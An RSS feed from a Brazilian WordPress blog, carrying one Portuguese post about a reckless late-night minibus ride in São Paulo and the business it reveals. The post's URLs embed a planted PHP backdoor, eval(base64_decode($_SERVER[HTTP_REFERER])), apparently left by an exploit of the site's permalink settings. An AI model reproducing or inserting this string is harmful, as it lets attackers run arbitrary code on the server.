<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Prontofalei &#187; transporte público</title>
	<atom:link href="http://fullcircle.com.br/blog/tag/transporte-publico/feed/" rel="self" type="application/rss+xml" />
	<link>http://fullcircle.com.br/blog</link>
	<description>Falando do seu negócio</description>
	<lastBuildDate>Thu, 15 Oct 2009 15:50:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>A aventura em andar de lotação a noite em São Paulo</title>
		<link>http://fullcircle.com.br/blog/2008/11/28/a-aventura-em-andar-de-lotacao-a-noite-em-sao-paulo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/11/28/a-aventura-em-andar-de-lotacao-a-noite-em-sao-paulo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 13:26:56 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[lotação]]></category>
		<category><![CDATA[madrugada]]></category>
		<category><![CDATA[ônibus]]></category>
		<category><![CDATA[são paulo]]></category>
		<category><![CDATA[sptrans]]></category>
		<category><![CDATA[transporte]]></category>
		<category><![CDATA[transporte coletivo]]></category>
		<category><![CDATA[transporte público]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=101</guid>
		<description><![CDATA[
Ontem vivi uma aventura e tanto. Eram mais de 2 horas da manhã quando saí de um encontro com amigos próximo aos Jardins, em São Paulo, e estava próximo a Avenida 9 de Julho, um intenso corredor de ônibus da cidade. Resolvi economizar no táxi e tentar pegar um ônibus de volta para casa, em [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" style="vertical-align: middle; margin: 10px;" src="http://www.sorryperiferia.blogger.com.br/tremlotado.jpg" alt="" width="400" height="269" /></p>
<p><span>Ontem vivi uma aventura e tanto. Eram mais de 2 horas da manhã quando saí de um encontro com amigos próximo aos Jardins, em São Paulo, e estava próximo a Avenida 9 de Julho, um intenso corredor de ônibus da cidade. Resolvi economizar no táxi e tentar pegar um ônibus de volta para casa, em plena madrugada paulistana. É inconcebível uma cidade do tamanho de São Paulo não ter um transporte coletivo eficiente, mesmo no período noturno, já que as pessoas por aqui trabalham 24 horas por dia.</span></p>
<p><span>Para a minha surpresa, ao invés de um ônibus, apareceu uma lotação, e resolvi arriscar e ver no que ia dar. Acabei vivendo uma experiência única, e enquanto tentava sobreviver não voando pela janela, observei como as pessoas lidam com negócios mesmo nas classes mais humildes da população.</span></p>
<p><span>Não foi estranho ver os pontos de ônibus cheios de gente, muitos saindo do trabalho, outros indo trabalhar, e outros simplesmente voltando de uma noitada. São pessoas que moram distante, e que dependem do transporte público como única opção.</span></p>
<p><span>A lotação fazia o trajeto Praça da Bandeira no centro até o Jardim Ângela, periferia no extremo Zona Sul de São Paulo, considerado um dos locais mais pobres da cidade. Como o transporte &#8220;alternativo&#8221; de passageiros é proibido na cidade, a lotação &#8211; composta de um motorista e um assistente responsável pelas passagens &#8211; só circula de madrugada, tentando garimpar passageiros que esperam por ônibus com mais de uma hora de intervalo.</span></p>
<p><span>A regra para os donos da lotação ganharem mais dinheiro em uma noite é bem simples: quanto mais viagens eles fizerem entre um trecho e outro, mais eles ganham. Para isso, o motorista precisa correr, e correr muito. Eu sentei próximo da entrada, e em alguns trechos dos largos corredores que cruzam os Jardins, ele alcançava até 90 Km/h em um micro-ônibus com aproximadamente 20 passageiros.</span></p>
<p><span>De repente, percebo que o motorista não estava correndo apenas para fazer mais viagens. Havia um ônibus com destino ao Terminal Santo Amaro vindo logo atrás. Isto significa que ele tem que correr mais ainda para chegar antes às paradas, senão, os passageiros dariam preferência para pegar o ônibus e não a lotação. Ao utilizar o ônibus municipal, os passageiros podem usar o Bilhete Único, cartão que dá direito a fazer integrações gratuitas em até 3 horas, e que não é aceito nas lotações.</span></p>
<p><span>Agora o motorista corria para fazer mais viagens e ainda, para chegar antes do ônibus que vinha logo atrás. Eu me segurava para não voar pela janela, tamanha a velocidade que o motorista atingia entre uma parada e outra. Seu assistente, o cobrador, colocava a cabeça para fora da janela ao chegar nos pontos e gritava uma infinidade de lugares por onde a lotação iria passar. O assistente apressava as pessoas para subir no veículo, visto que eles precisavam correr sempre para ficar na frente do ônibus.</span></p>
<p><span>Imaginem a minha surpresa, quando percebi que o ônibus que vinha atrás não estava apenas preocupado em pegar passageiros. O motorista do ônibus estava disputando uma corrida com o da lotação, por isso chegava tão próximo do nosso veículo a ponto dos dois se emparelharem em plena Avenida Santo  Amaro.</span></p>
<p><span>Não entendi o interesse do ônibus em passar na frente da lotação, já que o motorista teria o mesmo salário no final do mês transportando 1 ou 100 passageiros. Mas foi interessante ver a garra que os condutores da lotação tinham em ganhar mais passageiros: precisavam fazer mais viagens em um menor tempo possível, precisavam passar nos pontos antes dos ônibus, e ainda escapar de um motorista-obsessivo que tentava a todo custo atrapalhar o negócio deles.</span></p>
<p><span>Foi também interessante perceber a correria que aqueles dois, motorista e cobrador, vivem todas as noites. Curioso como sempre fui, perguntei se eles trabalhavam também pela manhã, e advinha qual foi a resposta: um era motorista e o outro cobrador das linhas municipais da cidade.</span></p>
<p><span>Acho que com essa experiência, misto de aventura, é possível percebermos que existem relações de negócios em qualquer situação, em qualquer lugar do mundo, e em qualquer classe social. A diferença é a forma como as coisas são negociadas e a moeda corrente.</span></p>
<p><span>Em terra de cegos, quem tem um olho é rei. A cartilha pela qual esses trabalhadores rezam é a do olho por olho, dente por dente, e quem não se arrisca, não ganha o pão no final do dia. Quem corre mais, ganha mais, e o importante é sempre estar na frente do seu concorrente, não importa o tamanho dele.</span></p>
<p><span>Para fechar com chave de ouro a minha aventura pela madrugada de São Paulo, em uma das paradas da lotação, algum passageiro grita ao cobrador do lado de fora:</span></p>
<p><span>- Pode passar por baixo cobrador?</span></p>
<p><span>E o cobrador responde:</span></p>
<p><span>- Só se for por baixo da roda&#8230;</span></p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2008/11/28/a-aventura-em-andar-de-lotacao-a-noite-em-sao-paulo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
